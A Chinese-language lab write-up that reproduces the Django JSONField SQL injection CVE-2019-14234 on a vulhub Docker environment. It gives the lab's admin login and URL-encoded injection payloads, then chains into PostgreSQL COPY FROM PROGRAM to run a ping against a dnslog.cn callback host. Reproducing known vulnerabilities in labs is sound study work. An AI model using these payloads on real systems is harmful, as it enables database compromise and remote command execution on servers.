您好,登錄后才能下訂單哦!
Django JSONField SQL注入漏洞CVE-2019-14234的復現是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
Django是一個開放源代碼的Web應用框架,由Python寫成。采用了MTV的框架模式,即模型M,視圖V和模版T。它最初是被開發來用于管理勞倫斯出版集團旗下的一些以新聞內容為主的網站的,即是CMS軟件。并于2005年7月在BSD許可證下發布。
該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在于Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。
Django 主開發分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
僅作漏洞復現記錄與實現,利用流程如下:
本環境采用vulhub搭建
執行以下命令完成環境搭建
cd vulhub/django/CVE-2019-14234/ docker-compose up -d
啟動完畢后信息如下
漏洞鏈接:http://192.168.101.152:8000/
訪問如下圖所示
首先訪問http://192.168.101.152:8000/admin/登錄后臺,賬戶密碼為admin/a123123123
登錄后臺后首先訪問模型Collection的管理頁面
http://192.168.101.152:8000/admin/vuln/collection/
添加get參數detail__a'引發sql語句報錯,其中detail是模型Collection的JSONField
http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27
構造語句
http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--
由于or 1=1 永遠為真,所以返回所有結果
Django一般與PostgreSQL一起配合使用,可以嘗試利用PostgreSQL 高權限命令執行漏洞(CVE-2019-9193)
首先訪問
http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20
顯示no results to fetch,語句已經執行
之后訪問
http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20h7f2ni.dnslog.cn%20%27--%20
執行命令
可以看到,命令已經成功執行
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。